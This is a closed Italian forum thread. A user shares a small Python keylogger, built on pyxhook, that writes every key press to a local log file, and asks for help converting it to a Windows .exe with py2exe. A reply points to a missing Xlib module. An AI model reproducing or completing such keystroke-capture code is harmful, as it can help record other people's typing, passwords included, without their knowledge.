Domanda CONVERTIRE UN FILE.PY CON MODULI IN .EXE

Stato
Discussione chiusa ad ulteriori risposte.

boomer22

Utente Electrum
17 Novembre 2009
88
33
4
102
Ultima modifica da un moderatore:
Salve, ho provato a creare uno script che acquisice i tasti premuti sulla tastiera e li salva sul disco.
In ambiente linux tutto ok, ma quando faccio la conversione da .py a .exe mi vengono generati i seguenti errori
Traceback (most recent call last):
File "keylog.py", line 1, in <module>
import pyxhook
File "C:\Users\nessun0\Desktop\keylog\pyxhook.py", line 42, in <module>
from Xlib import X, XK, display
ImportError: No module named Xlib

In pratica ho il file principale:

Codice:
import pyxhook
log_file='C:\file.log'
def OnKeyPress(event):
    fob=open(log_file,'a')
    fob.write(event.Key)
    fob.write('\n')

    if event.Ascii==96: #96 is the ascii value of the grave key (`)
        fob.close()
        new_hook.cancel()
new_hook=pyxhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()

e il modulo importato che lascio nella stessa cartella, chiamato pyxhook che è una libreria che si può usare su linux è simile alla libreria pyhook.

per convertire digito python setup.py py2exe.
il file setup.py è:
Codice:
from distutils.core import setup
import py2exe
setup(console=['keylogger.py'])

QUACHE SUGGERIMENTO O AIUTO???????????????????????????
 
Hai letto l'errore? Probabilmente devi installare il modulo Xlib

Inviato dal mio SM-G530FZ utilizzando Tapatalk
 
Stato
Discussione chiusa ad ulteriori risposte.